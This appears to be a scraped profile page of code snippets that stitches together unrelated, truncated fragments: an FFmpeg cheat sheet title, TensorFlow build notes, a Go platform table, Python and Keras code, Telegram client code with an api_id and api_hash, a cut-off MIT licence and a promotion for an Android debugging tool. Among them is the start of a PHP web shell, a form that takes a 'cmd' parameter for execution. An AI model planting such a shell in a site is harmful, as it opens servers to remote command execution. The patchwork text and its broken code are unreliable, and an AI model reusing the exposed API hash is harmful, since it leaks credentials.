qiwihui qiwihui

FFmpeg cheat sheet

A list of useful commands for the FFmpeg command line tool.

OS - High Sierra 10.13
Tensorflow - 1.4
Xcode command line tools - 8.2 (Download from here: Xcode - Support - Apple Developer & Switch to different clang version: sudo xcode-select --switch/Library/Developer/CommandLineTools & check version: clang -v)
Cmake - 3.7
Bazel - 0.7.0

This configuration worked for me, hope it helps

All of the following information is based on go version go1.17.1 darwin/amd64.

GOOS	Out of the Box
`aix`	✅
`android`	✅

	# - coding: UTF-8 -

	import hashlib
	import requests
	from urllib.parse import urlencode, unquote_plus


	def ksort(d):
	return [(k, d[k]) for k in sorted(d.keys())]

	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{

	from telethon import TelegramClient
	from telethon.errors.rpc_errors_401 import SessionPasswordNeededError

	# (1) Use your own values here
	api_id = 17349
	api_hash = '344583e45741c457fe1862106095a5eb'

	phone = 'YOUR_NUMBER_HERE'
	username = 'username'

	// This file is MIT Licensed.
	//
	// Copyright 2017 Christian Reitwiessner
	// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
	// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
	// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF O

	Hi All!

	I've recently launched a tool that wraps many of the commands here with a user interface. This desktop application is currently available for macOS. There's a roadmap outlining planned features for the near future.
	Feel free to request any features you'd like to see, and I'll prioritize them accordingly.
	One of the most important aspects of this application is that every command executed behind the scenes is displayed in a special log section. This allows you to see exactly what’s happening and learn from it.

	Here's the link to the repository: https://github.com/Pulimet/ADBugger

	App Description:
	ADBugger is a desktop tool designed for debugging and QA of Android devices and emulators. It simplifies testing, debugging, and performance analysis by offering device management, automated testing, log analysis, and remote control capabilities. This ensures smooth app performance across various setups.

	import numpy as np
	from keras.preprocessing import sequence
	from keras.models import Sequential
	from keras.layers import Dense, Embedding
	from keras.layers import LSTM
	from keras.datasets import imdb


	def batch_iter(data, labels, batch_size, shuffle=True):
	num_batches_per_epoch = int((len(data) - 1) / batch_size) + 1